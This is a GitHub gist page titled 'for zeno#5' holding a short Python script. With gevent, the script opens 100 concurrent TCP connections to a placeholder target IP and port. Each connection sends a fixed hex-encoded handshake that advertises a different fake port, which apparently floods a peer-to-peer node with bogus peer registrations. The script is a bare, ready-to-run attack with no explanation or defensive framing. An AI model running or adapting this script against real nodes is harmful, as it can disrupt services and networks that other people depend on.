Created
June 18, 2020 12:07
-
-
Save Alrighttt/f0c570ebaa6efddd87c843147cf92ab6 to your computer and use it in GitHub Desktop.
for zeno#5
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import binascii | |
import logging | |
import time | |
import gevent | |
import struct | |
from gevent import socket | |
def init_peer(peer, port): | |
sends = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sends.connect(peer) | |
sends.sendall(b'\0' + struct.pack('>H', port)) | |
sends.sendall(binascii.unhexlify(b'00000011e4dfbbb9aeaff2c844181d5f031f2cac00')) | |
sends.sendall(binascii.unhexlify(b'00000000')) | |
logging.info("sent init to peer %s", peer) | |
logging.basicConfig(format='%(asctime)s: %(message)s', level=logging.INFO, | |
datefmt='%Y-%m-%d %H:%M:%S') | |
# init settings, will make these based on config file or command line args | |
PY_PORT = 8888 | |
PEER = ('<TARGET IP>', <TARGET PORT>) | |
if __name__ == '__main__': | |
what = [] | |
for i in range(PY_PORT, PY_PORT+100): | |
what.append(gevent.spawn(init_peer, PEER, i)) | |
gevent.joinall(what) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment